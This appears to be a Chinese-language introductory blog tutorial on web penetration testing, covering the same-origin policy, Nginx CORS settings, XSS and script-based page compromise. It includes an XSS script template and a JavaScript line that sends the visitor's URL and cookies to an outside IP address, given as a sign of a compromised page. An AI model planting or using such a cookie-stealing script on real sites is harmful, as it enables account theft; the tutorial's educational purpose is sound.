渗透测试之Web安全系列教程(一)

今天,我们来讲一下Web安全!

本文章仅提供学习,切勿将其用于不法手段!

目前,在渗透测试领域,主要分为了两个发展方向,分别为Web攻防领域和PWN(二进制安全)攻防领域。Web 攻防领域,涉及到一些知识点,本系列教程,就来科普一下这些知识点。

1、同源策略

大家需要注意,同源策略,是基于浏览器而实现的!

如果客户端,是我们自己编制的浏览器,或者是自己编制的可以解析网页内容的脚本,那么,我们是可以突破同源策略限制的!这就好像JS脚本只能检测表单提交数据的合法性,但是如果我们不通过浏览器,而是使用特定的脚本去向服务端发起GET/POST/PUT之类的请求,那么JS脚本对于表单被提交数据的合法性检测,就变得意义不大了!我们可以完全绕过JS脚本的安全检测,直接构造特定的HTTP请求数据包,向Web服务端发起HTTP请求。毕竟,Web服务端验证的只是HTTP请求数据包的格式合法性,仅此而已!

同源策略,对于一些标签,是无效的!

iframe 标签、javascript 标签 等,都是可以绕过同源策略限制的!

XMLHttpRequest 在 Ajax 异步请求中,被常规性的用到,并且其受到同源策略的限制。

但是,如果 Web服务端 允许跨域请求,即 HTTP Response 返回了 Access-Control-Allow-Origin 为真,那么,我们就可以使用 XMLHttpRequest 在 Ajax 异步请求中去进行跨域提交了。

大家可以了解下,XMLHttpRequest 跨域访问标准!

在 Nginx 类型的Web服务器中,我们可以通过在配置文件中写入如下内容来开启 Nginx 对于 XMLHttpRequest 跨域提交的支持!

location / {

add_header Access-Control-Allow-Origin *;

add_header Access-Control-Allow-Methods 'GET, POST, OPTIONS';

add_header Access-Control-Allow-Headers 'DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X- Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization';

if ($request_method = 'OPTIONS') {

return 204;

}

}

我们需要知道,允许跨域提交,可能会产生一定的信息安全风险!、

白帽黑客,在进行渗透测试工作时,可以检测一下, 被评估目标 是否被允许进行 XMLHttpRequest 的 跨域提交!

由于 浏览器的同源策略,并没有对 script 等标签进行同源限制,这导致了 恶意黑客 可以利用这一特性,并通过一些 Web 网站中所存在的XSS注入漏洞,将一些恶意的代码(包含 script 相关内容,而 script 的 src 属性的值,可能是指向某个其它域的、包含木马脚本的URL地址)内容嵌入到 Web 网站的指定页面中。这种行为,被俗称"网页挂马"!

XSS漏洞,危害还是非常大的!

因为 XSS漏洞,经常被 恶意黑客 们 去用来实施 网页挂马 行为!

作为白帽子黑客,检测 被评估目标 是否存在XSS 注入漏洞,检测 被评估目标 是否允许 跨域访问,是非常重要的!对于检测被评估目标的网页内容中,是否包含跨域脚本,跨域脚本内容是否安全,同样应该得到 白帽黑客 们的高度重视!

网页木马,为什么危害巨大?

网页木马,可以直接针对浏览器所存在的安全漏洞进行特定攻击,从而利用浏览器的安全漏洞执行恶意代码,并获得浏览挂马网页的用户的电脑控制权!

想要防御网页木马,想要洞悉网页木马的工作原理,你就必须要对一些操作系统和浏览器的技术实现有所了解!

在 Windows 系列的操作系统环境中,DEP(数据执行保护)、ASLR(针对缓冲区溢出的安全保护技术)、SafeSEH(安全异常处理) 等内存保护技术,我们是需要有一定了解的!当然 这牵涉到了 PWN 的 二进制安全 领域,所以在本系列教程中,不做过多的讲述。

对于PWN领域有兴趣的童鞋儿,可以参考我的其它有关于 PWN 领域的技术文章。

下面,我们来看一下,网页渗透技术的相关案例!

注意,我们了解攻击技术原理,是为了使渗透测试行为变得更加有效!是为了能够更好的进行信息安全防御,绝不是为了去进行违法犯罪行为!

我们在进行渗透测试行为时,想要在网页中进行跨域脚本的嵌入,我们必须了解HTML语言的相应语法。HTML语言,是标签语言!HTML语言,由众多标签构成!HTML语言的标签元素,一般都是成对出现的!例如:<video></video>、<div></div>、<script></script>、<style></style>等。

想要在网页中实现跨域脚本的嵌入,我们可以这样做:

<script type="text/javascript" src="指定的跨域脚本的URL地址"></script>

注意!script 标签 的 type 属性,表述的是 当前脚本是 基于JavaScript 脚本语言的 (浏览器支持的脚本语言,还有 VBScript ,不过 VBScript 在浏览器环境中并不算常用。通常情况下,一些木马病毒脚本,可能会利用 Windows 系统的 Dom 组件 环境特性 ,结合 VBScript 脚本语言,进行系统攻击等恶意行为!所以,大家不要轻易的去点击或运行 以 .vbs 扩展名为结尾的相关可执行脚本文件。这样做,可能会很危险!)。script 标签 的 src 属性,指向跨域脚本的URL地址!

<script type="text/javascript">

alert(document.location.href); //可以弹出对话框,并显示出当前网页的URL地址!

alert(document.cookie); //可以弹出对话框,并显示出当前用户在当前网站中的COOKIE信息!

</script>

注意,如果看到类似于下面这样的JS脚本内容:

document.location.href="指定用于记录信息的URL地址"+document.cookie;

例如,document.location.href="http://172.22.165.51/jilu.php?web_url="+document.location.href+"&user_cookie="+document.cookie;

那么意味着,这个网页,可能已经被挂马了!

如果你非常不幸地访问到了包含这样内容的代码,那么你的指定网站账号信息,可能会被恶意黑客盗取!

身为一名白帽子黑客,我们要重点检测下,被评估目标的 网页内容 是否可以被 " 挂马 " !

我们应当注意!一些浏览器插件、浏览器的应用扩展,往往是不受 Sandbox 浏览器沙箱 管辖的!

这意味着,一但 浏览器插件、浏览器的应用扩展 等存在安全风险!那么,后果将是非常严重的!

相关推荐
_斯洛伐克1 小时前
下降npm版本
前端·vue.js
苏十八2 小时前
前端进阶:Vue.js
前端·javascript·vue.js·前端框架·npm·node.js·ecmascript
st紫月2 小时前
用MySQL+node+vue做一个学生信息管理系统(四):制作增加、删除、修改的组件和对应的路由
前端·vue.js·mysql
乐容3 小时前
vue3使用pinia中的actions,需要调用接口的话
前端·javascript·vue.js
似水明俊德3 小时前
ASP.NET Core Blazor 5:Blazor表单和数据
java·前端·javascript·html·asp.net
至天4 小时前
UniApp 中 Web/H5 正确使用反向代理解决跨域问题
前端·uni-app·vue3·vue2·vite·反向代理
与墨学长4 小时前
Rust破界:前端革新与Vite重构的深度透视(中)
开发语言·前端·rust·前端框架·wasm
helloKittywz5 小时前
内网学习第6天 liunx定时任务 环境变量和权限配置,以及数据库提权
学习·web安全·网络安全·内网渗透·liunx·权限提升·学习记录
H-J-L5 小时前
Web基础与HTTP协议
前端·http·php
Amore05255 小时前
React+TS前台项目实战(二十三)-- 基于属性自定义数值显示组件Decimal封装
前端·react.js·typescript·前端框架